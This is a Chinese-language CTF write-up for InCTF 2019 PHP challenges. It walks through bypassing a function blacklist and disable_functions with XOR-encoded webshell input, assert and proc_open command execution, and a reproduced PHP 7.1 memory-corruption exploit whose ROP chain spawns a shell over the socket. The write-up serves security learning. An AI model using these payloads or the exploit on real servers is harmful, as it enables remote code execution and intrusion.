Inctf题解 | rce+disable_functions bypass

php1.0

File doesn't exist
<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

代码分析:可控有两个参数$thisfille、$input

$input传入参数会被eval执行,但是之前需要经过get_defined_functions()['internal'],过滤所有php内置函数

思路一:无字母webshell

?input=$b=${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}[a];eval($b);&thisfile=/var

1569293365248

思路二:字符串拼接

1569293549103

$b=p.h.p.i.n.f.o;$b();

1569306232614

函数禁用

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir

os命令执行

proc_open函数未被禁用

函数参考链接:https://www.php.net/manual/zh/function.proc-open.php

$process中存储返回proc_open函数,stream_get_contents输出内容

/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return proc'.$thisfille[8].'open("/readFlag",$descr,$pxpes);');eval('echo(s'.'t'.'r'.'e'.'a'.'m'.$thisfille[8].'g'.'e'.'t'.$thisfille[8].'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

1569307976631

php1.5、php2.5

//php2.5
File doesn't exist
<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  if(strlen($input)>100){  #That is random no. I took ;)
    echo "This is getting really large input..." . "<br>";
    return true;
  }  
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>
//php1.5
File doesn't exist
<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

新增过滤

exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'

payload1

?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=c.u.r.r.e.n.t;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var

1569319304201

不知道为啥,这里蚁剑连接只能用end函数取post数组

payload:http://3.16.218.96/?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=e.n.d;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var

1569323686363

payload:http://18.223.159.46//?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=e.n.d;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var

1569323729563

payload3(proc_open文件写到tmp)

1569327504127

php2.0

源码和2.5相同,不过php环境为7.1

参考链接:https://ctftime.org/writeup/16665

本地测试

EXP

<?php
/*

This exploit works only on a specific php7.1 build for Ubuntu 16.04.
(php 7.1.32-1+ubuntu16.04.1+deb.sury.org+1 + apache2)

1. Install php7.1:
    sudo add-apt-repository ppa:ondrej/php
    sudo apt install php7.1 libapache2-mod-php7.1

2. Save this file as /var/www/html/pwn.php.

3. Get an interactive shell with pwntools:

    from pwn import *
    s = remote('localhost', 80)
    p = 'GET /pwn.php HTTP/1.1\r\n'
    p += 'Host: localhost\r\n\r\n'
    s.send(p)
    s.interactive()

*/

define('SOCK_FD', 11); # client <-> server fd
define('POP_RDI', 0xd14eb);
define('POP_RSI', 0xd157f);
define('POP_RDX', 0xd5033);
define('POP_RCX', 0xff87a);
define('SYSCALL_PLT', 0xcf800);
define('BIN_SH', 0x33bb9e);
define('STACK_PIVOT', 0xd1577); # push rdi ; ... ; pop rsp ; pop r13 ; pop r14 ; ret
define('ZEND_OBJECTS_DESTROY_OBJECT', 0x2952d0);

class MySplFixedArray extends SplFixedArray { }

class Z implements JsonSerializable {
    public function rebase($addr) {
        global $pie;
        return $pie + $addr;
    }

    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p, $s=8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m=8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    public function rop($addr) {
        global $ctr;
        # rop starts at abc + 0x1010
        $this->write($this->abc, 0x1010 + $ctr * 8, $addr);
        $ctr += 1;

    }

    public function syscall($syscall_no, $rdi=0, $rsi=0, $rdx=0) {
        $this->rop($this->rebase(POP_RDI));
        $this->rop($syscall_no);
        $this->rop($this->rebase(POP_RSI));
        $this->rop($rdi);
        $this->rop($this->rebase(POP_RDX));
        $this->rop($rsi);
        $this->rop($this->rebase(POP_RCX));
        $this->rop($rdx);
        $this->rop($this->rebase(SYSCALL_PLT));
    }

    public function jsonSerialize() {
        global $y, $pie, $ctr;

        $contiguous = [];
        for($i=0; $i < 10; $i++)
            $contiguous[] = new DateInterval('PT1S');
        $room = [];
        for($i=0; $i < 10;$i++)
            $room[] = new Z();
        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);
        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000; # $this->abc is now of size 0x2000
  
        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # pie leak
        $fake_obj = $abc_addr + 0x60;
        $this->write($this->abc, 0x60, 2);
        $this->write($this->abc, 0x68, $handlers - 0x10);
        $this->write($this->abc, 0x120, $fake_obj);
        $pie = $this->str2ptr(get_class($spl1), 8) - ZEND_OBJECTS_DESTROY_OBJECT;

        # write rop
        $this->syscall(33, SOCK_FD, 1); # dup2
        $this->syscall(33, SOCK_FD, 0); # dup2
        $this->syscall(59, $this->rebase(BIN_SH)); # execve
        $this->syscall(60, 0); # exit

        # overwrite next chunk forward pointer
        $this->write($this->abc, 0x1a8, $class_entry + 0x20);

        # allocate some strings
        $x = str_repeat("X", 69);
        $y = str_repeat("Y", 69);
        $z = str_repeat("Z", 69);

        # $z is now at $class_entry + 0x20
        # restore a pointer to some writable addr
        $this->write($z, 0, $abc_addr); 

        # overwrite a function destructor
        $this->write($z, 0x18, $abc_addr + 0x1000); # -> rdi
        $this->write($z, 0x38, $this->rebase(STACK_PIVOT)); # -> rip

        exit();
    }
}

if(php_sapi_name() != 'apache2handler' ||
    phpversion() != '7.1.32-1+ubuntu16.04.1+deb.sury.org+1') {
    die('Wrong setup.');
}

global $y;
$y = [new Z()];
json_encode([0 => &$y]);
  1. 上传该php文件到服务器

  2. 本地执行

    from pwn import *
    s = remote('localhost', 80)
    p = 'GET /pwn.php HTTP/1.1\r\n'
    p += 'Host: localhost\r\n\r\n'
    s.send(p)
    s.interactive()
  3. 执行环境必须是php 7.1.32-1+ubuntu16.04.1+deb.sury.org+1 + apache2

    1569483833588

  4. py执行结果

    1569483928690

参考链接

https://fireshellsecurity.team/inctf2019-php1-php15-php25/

https://ctftime.org/writeup/16595

特性总结

  1. php 对于ascii 0x7f默认为字符串
  2. eval、echo为语言结构不是函数
  3. eval的特性:只能执行一次代码
  4. rce参考一些常见的webshell思路
  5. _()为gettext()的别名

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!